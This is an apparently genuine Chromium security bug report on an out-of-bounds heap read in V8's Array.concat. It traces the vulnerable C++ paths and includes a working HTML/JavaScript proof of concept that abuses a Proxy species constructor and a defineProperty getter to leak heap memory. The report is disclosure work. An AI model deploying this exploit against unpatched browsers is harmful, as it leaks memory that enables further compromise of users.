Issue metadata
Sign in to add a comment
|
Security: v8 Array.concat IterateElements OOB access
Reported by
btis...@gmail.com,
Jan 17 2017
|
||||||||||||||||||||||
Issue description
I. VULNERABILITY DETAILS
It is possible to trigger a callback during the computation of IterateElements used by Array.concat(). This is done by controlling the return type of Array.concat() (visitor variable) by setting the Symbol.species of the receiving element to the function. In this example we set Proxy. When properties are set on our receiver during the IterateElements instruction the JSReceiver::CreateDataProperty is called which doesn't trigger any getters or setters directly on our object, but it does call functions that do as a side effect. When JSReceiver::CreateDataProperty is called on a Proxy the getter for "defineProperty" is called.
In the callback we can shrink the size of the receiver and force garbage collection moving the backstore pointer and giving us an out of bounds error.
From line 1340 of src/builtins/builtins-array.cc
BUILTIN(ArrayConcat) {
...
Handle<Object> species;
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, species, Object::ArraySpeciesConstructor(isolate, receiver)); <----- We have control over the species function (L#1370)
...
return Slow_ArrayConcat(&args, species, isolate);
}
From line 1091 of src/builtins/builtins-array.cc
Object* Slow_ArrayConcat(...) {
...
if (fast_case) {
...
} else if (is_array_species) {
...
} else {
DCHECK(species->IsConstructor());
Handle<Object> length(Smi::kZero, isolate);
Handle<Object> storage_object;
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, storage_object,
Execution::New(isolate, species, species, 1, &length)); <----- Our species function is executed, giving us control of the storage object (L#1242)
storage = storage_object;
}
ArrayConcatVisitor visitor(isolate, storage, fast_case); <----- visitor now holds a reference to our storage object (L#1246)
for (int i = 0; i < argument_count; i++) {
Handle<Object> obj((*args)[i], isolate);
Maybe<bool> spreadable = IsConcatSpreadable(isolate, obj);
MAYBE_RETURN(spreadable, isolate->heap()->exception());
if (spreadable.FromJust()) {
Handle<JSReceiver> object = Handle<JSReceiver>::cast(obj);
if (!IterateElements(isolate, object, &visitor)) { <----- IterateElements is called using our visitor (L#1254)
return isolate->heap()->exception();
}
} else {
if (!visitor.visit(0, obj)) return isolate->heap()->exception();
visitor.increase_index_offset(1);
}
...
}
Frome line 909 of src/builtins/builtins-array.cc
bool IterateElements(...) {
...
...
case FAST_HOLEY_DOUBLE_ELEMENTS:
case FAST_DOUBLE_ELEMENTS: {
// Empty array is FixedArray but not FixedDoubleArray.
if (length == 0) break;
// Run through the elements FixedArray and use HasElement and GetElement
// to check the prototype for missing elements.
if (array->elements()->IsFixedArray()) {
DCHECK(array->elements()->length() == 0);
break;
}
Handle<FixedDoubleArray> elements(
FixedDoubleArray::cast(array->elements()));
int fast_length = static_cast<int>(length);
DCHECK(fast_length <= elements->length());
FOR_WITH_HANDLE_SCOPE(isolate, int, j = 0, j, j < fast_length, j++, {
if (!elements->is_the_hole(j)) {
double double_value = elements->get_scalar(j); <-----
Handle<Object> element_value =
isolate->factory()->NewNumber(double_value);
if (!visitor->visit(j, element_value)) return false; <----- visitor->visit is called (L#1008)
} else {
Maybe<bool> maybe = JSReceiver::HasElement(array, j);
if (!maybe.IsJust()) return false;
if (maybe.FromJust()) {
// Call GetElement on array, not its prototype, or getters won't
// have the correct receiver.
Handle<Object> element_value;
ASSIGN_RETURN_ON_EXCEPTION_VALUE(
isolate, element_value,
JSReceiver::GetElement(isolate, array, j), false);
if (!visitor->visit(j, element_value)) return false; <----- visitor->visit is called (L#1019)
}
}
});
break;
}
}
From line 582 in src/builtins/builtins-array.cc (function visit in class ArrayConcatVisitor)
if (!is_fixed_array()) {
LookupIterator it(isolate_, storage_, index, LookupIterator::OWN); <----- the iterator is built using our storage object from earlier (L#583)
MAYBE_RETURN(
JSReceiver::CreateDataProperty(&it, elm, Object::THROW_ON_ERROR),
false);
return true;
}
From line 6587 in src/objects.cc
Maybe<bool> JSReceiver::CreateDataProperty(LookupIterator* it,
Handle<Object> value,
ShouldThrow should_throw) {
...
if (receiver->IsJSObject()) { <---- FAILED: Proxy is not a JSOBject
return JSObject::CreateDataProperty(it, value, should_throw);
}
...
return JSReceiver::DefineOwnProperty(isolate, receiver, it->GetName(), <----- (L#6604)
&new_desc, should_throw);
}
From line 6226 in src/objects.cc
Maybe<bool> JSReceiver::DefineOwnProperty(...) {
...
if (object->IsJSProxy()) {
return JSProxy::DefineOwnProperty(isolate, Handle<JSProxy>::cast(object), <----- called because we passed a Proxy (L#6236)
key, desc, should_throw);
}
...
}
From line 6846 in src/objects.cc
Maybe<bool> JSProxy::DefineOwnProperty(...) {
STACK_CHECK(isolate, Nothing<bool>());
if (key->IsSymbol() && Handle<Symbol>::cast(key)->IsPrivate()) {
return SetPrivateProperty(isolate, proxy, Handle<Symbol>::cast(key), desc,
should_throw);
}
Handle<String> trap_name = isolate->factory()->defineProperty_string(); <----- "defineProperty" string (L#6855)
DCHECK(key->IsName() || key->IsNumber());
Handle<Object> handler(proxy->handler(), isolate);
if (proxy->IsRevoked()) {
isolate->Throw(*isolate->factory()->NewTypeError(
MessageTemplate::kProxyRevoked, trap_name));
return Nothing<bool>();
}
Handle<JSReceiver> target(proxy->target(), isolate);
Handle<Object> trap;
ASSIGN_RETURN_ON_EXCEPTION_VALUE(
isolate, trap,
Object::GetMethod(Handle<JSReceiver>::cast(handler), trap_name), <---- GetMethod calls GetProperty which triggers getters (L#6873)
Nothing<bool>());
}
II. REPRODUCTION CASE
<html>
<script>
var p = new Proxy([], {});
var b_dp = Object.prototype.defineProperty;
class MyArray extends Array {
static get [Symbol.species]() { return function() { return p; }}; // custom constructor which returns a proxy object
}
var w = new MyArray(100);
w[1] = 0.1;
w[2] = 0.1;
function gc() {
for (var i = 0; i < 0x100000; ++i) {
var a = new String();
}
}
function evil_callback() {
w.length = 1; // shorten the array so the backstore pointer is relocated
gc(); // force gc to move the array's elements backstore
return b_dp;
}
Object.prototype.__defineGetter__("defineProperty", evil_callback);
var c = Array.prototype.concat.call(w);
for (var i = 0; i < 20; i++) { // however many values you want to leak
document.write(c[i]);
document.write("<br />");
}
</script>
</html>
Result: (the exact double values will differ)
undefined
0.1
0.1
2.0213051714663e-311
1.6224401155253e-311
1.8777225723384e-311
1.2731974746e-313
2.021305197901e-311
1.6224401155253e-311
1.6224401155253e-311
1.622440115628e-311
1.622440115628e-311
2.021305197901e-311
1.6224401155253e-311
1.6224401155253e-311
6.9528267993505e-310
We get leaked information from the v8 heap that we can read and write to.
III. ENVIRONMENT
Chrome Stable Version 55.0.2883.87 (64-bit)
Windows 10 Version 1607 (14393.693)
Note: This bug appears to be similar in nature to https://crbug.com/594574
,
Jan 18 2017
,
Jan 19 2017
,
May 2 2017
This bug has been closed for more than 14 weeks. Removing security view restrictions. For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot |
|||||||||||||||||||||||
►
Sign in to add a comment |
|||||||||||||||||||||||
Comment 1 by btis...@gmail.com
, Jan 18 2017